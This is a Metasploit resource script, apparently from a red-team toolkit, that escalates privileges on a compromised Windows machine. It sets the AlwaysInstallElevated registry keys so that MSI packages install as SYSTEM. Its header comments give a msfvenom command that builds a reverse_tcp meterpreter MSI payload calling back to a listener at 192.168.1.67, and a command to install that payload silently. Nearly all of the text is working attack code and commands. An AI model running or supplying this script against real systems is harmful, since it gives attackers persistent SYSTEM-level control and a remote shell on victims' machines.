MSI_privilege_escalation.rc

###
# Author: r00t-3xp10it
# Privilege escalation using MSI files.
# 'next time target machine restarts it will let us install .msi files as @SYSTEM'
# Credits: http://toshellandback.com/2015/11/24/ms-priv-esc/
#
# This resource file checks for 'AlwaysInstallElevated' reg key settings
# in target machine, and add the requiered keys if they are not set yet..
# Also this resource file assumes that you allready have elevated the
# current session (client) with 'getsystem' or 'getprivs'...
#
# ---
# 1º - build windows msi payload:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=666 --platform windows -f msi -o escall.msi
#
# 2º - execute msi payload (cmd terminal):
# msiexec /quiet /qn /i escall.msi
#
# 3º - execute privilege_escalation.rc:
# meterpreter > resource privilege_escalation.rc
# ---
###

<ruby>
print_line("  _")
print_line(" | Privilege escalation using MSI files.")
print_line(" | Author: r00t-3xp10it | SSA redteam")
print_line(" |_Credits: http://goo.gl/b7PySN")
print_line("")

  print_status(" Checking HKLM remote regedit settings...")
  install_elevated = "AlwaysInstallElevated"
  hklm = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
  local_machine_value = registry_getvaldata(hklm,install_elevated)

  if local_machine_value.nil?
    print_error(" HKEY_LOCAL_MACHINE #{install_elevated} does not exist or is not accessible.")
    print_status(" Creating #{install_elevated} remote requiered reg keys...")
    run_single("reg setval -k HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
    run_single("reg setval -k HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
    print_good(" REMARK: next time target machine reboots it will let us install .msi files as @SYSTEM")
    return

  elsif local_machine_value == 0
    print_error(" HKEY_LOCAL_MACHINE #{install_elevated} is set to: #{local_machine_value}")
    print_status(" Setting #{install_elevated} remote reg keys to: 1")
    run_single("reg setval -k HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
    run_single("reg setval -k HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer -v AlwaysInstallElevated -d 1")
    print_good(" REMARK: next time target machine reboots it will let us install .msi files as @SYSTEM")
    return

  else
print_status(" HKEY_LOCAL_MACHINE #{install_elevated} is set to: #{local_machine_value}")
print_good(" Congratz, We are able to remote/local install .msi files as @SYSTEM...")
end
</ruby>